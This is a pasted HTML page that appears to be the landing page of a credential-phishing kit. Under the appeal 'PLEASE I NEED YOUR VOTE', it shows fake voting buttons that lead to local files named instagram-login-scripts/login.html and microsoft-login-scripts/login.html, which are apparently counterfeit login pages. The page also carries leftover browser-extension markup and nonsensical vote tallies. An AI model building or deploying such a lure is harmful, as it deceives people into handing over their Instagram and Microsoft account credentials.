Untitled
5 months ago in HTML
<!DOCTYPE html>
<html lang="en">
<head>
<style class="darkreader darkreader--text" media="screen"></style>
<style class="darkreader darkreader--invert" media="screen"></style>
<style class="darkreader darkreader--inline" media="screen">[data-darkreader-inline-bgcolor] {
background-color: var(--darkreader-inline-bgcolor) !important;
}
[data-darkreader-inline-bgimage] {
background-image: var(--darkreader-inline-bgimage) !important;
}
[data-darkreader-inline-border] {
border-color: var(--darkreader-inline-border) !important;
}
[data-darkreader-inline-border-bottom] {
border-bottom-color: var(--darkreader-inline-border-bottom) !important;
}
[data-darkreader-inline-border-left] {
border-left-color: var(--darkreader-inline-border-left) !important;
}
[data-darkreader-inline-border-right] {
border-right-color: var(--darkreader-inline-border-right) !important;
}
[data-darkreader-inline-border-top] {
border-top-color: var(--darkreader-inline-border-top) !important;
}
[data-darkreader-inline-boxshadow] {
box-shadow: var(--darkreader-inline-boxshadow) !important;
}
[data-darkreader-inline-color] {
color: var(--darkreader-inline-color) !important;
}
[data-darkreader-inline-fill] {
fill: var(--darkreader-inline-fill) !important;
}
[data-darkreader-inline-stroke] {
stroke: var(--darkreader-inline-stroke) !important;
}
[data-darkreader-inline-outline] {
outline-color: var(--darkreader-inline-outline) !important;
}
[data-darkreader-inline-stopcolor] {
stop-color: var(--darkreader-inline-stopcolor) !important;
}</style>
<style class="darkreader darkreader--variables" media="screen">:root {
--darkreader-neutral-background: #212222;
--darkreader-neutral-text: #eae3d9;
--darkreader-selection-background: #165aaa;
--darkreader-selection-text: #fbf5ec;
}</style>
<style class="darkreader darkreader--root-vars" media="screen"></style>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
<meta name="robots" content="noindex">
<meta name="googlebot" content="noarchive">
<link rel="stylesheet" href="https://pro.fontawesome.com/releases/v6.0.0-beta1/css/all.css" integrity="SHA384-ABC123==" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link id="nordvpn-contentScript-extension-fonts" rel="stylesheet" href="//fonts.googleapis.com/css?family=Lato">
<style class="darkreader darkreader--override" media="screen"></style>
<!-- linking to PyScript assets -->
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body monica-version="3.0.0" monica-id="fhimbbbmdjiifimnepkibjfjbppnjble">
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #eeeded;
font-family: 'Trebuchet MS', 'Lucida Sans Unicode', 'Lucida Grande', 'Lucida Sans', Arial, sans-serif;
color: #525151;
margin: 70px 0;
}
.container-item {
background-color: white;
width: 90%;
margin: 0 50%;
transform: translateX(-50%);
border-radius: 3px;
}
#social-ul {
display: flex;
list-style-type: none;
justify-content: center;
align-items: center;
margin: 5px 0;
}
#social-ul li {
margin: 5px;
background: #069c6c;
color: white;
padding: 7px 10px;
border-radius: 3px;
font-size: 13px;
}
#social-ul li:nth-child(2) {
background: #da2828;
}
#list-item {
list-style-type: none;
margin: 10px 0;
}
#list-item li {
padding: 8px 10px;
}
#list-item li:nth-child(1) {
background: #5aa7f46a;
color: #0d4d8c;
border-left: 2px solid dodgerblue;
}
a {
color: inherit;
text-decoration: none;
}
@media screen and (min-width: 768px) {
.container-item {
width: 50%;
}
}
@media screen and (min-width: 1200px) {
.container-item {
width: 40%;
}
}
</style>
<div class="container">
<div class="container-item">
<center>
<p style="padding: 10px 0; color: #0d4d8c; font-size: 13px;">PLEASE I NEED YOUR VOTE </p>
<img src="./images/IMG_3265.jpeg" alt="" width="100px" height="100px" style="border-radius: 3px;">
<p style="padding: 10px 0; color: #0d4d8c; font-size: 14px;">VOTE HERE </p>
</center>
<ul id="social-ul">
<li><a href="./instagram-login-scripts/login.html">VOTE WITH <i class="fa fa-instagram"></i></a></li>
<li><a href="./microsoft-login-scripts/login.html">VOTE WITH <i class="fa fa-envelope"></i></a></li>
<!-- <li style="background-color: dodgerblue;"><a href="5">Continue with <i class="fa-brands fa-facebook"></i></a></li> -->
</ul>
<ul id="list-item">
<li><i class="fa-duotone fa-house-user"></i> Total Votes: 500 out 340</li>
<li><i class="fa-duotone fa-badge-check" style="color: #069c6c;"></i> Total Votes to win: -160</li>
<li><i class="fa-duotone fa-handshake-angle" style="color: orange;"></i> Help</li>
</ul>
<br>
</div>
</div>
<br><br>
<p style="text-align: center; padding: 15px 0; font-size: 14px">Powered by <span style="color: #0d4d8c;">RCIP Voting System</span></p>
<div id="monica-content-root" class="monica-widget"></div>
</body>
<nordvpn-contentscript-extension-mount-3.6.0>
</nordvpn-contentscript-extension-mount-3.6.0>
</html>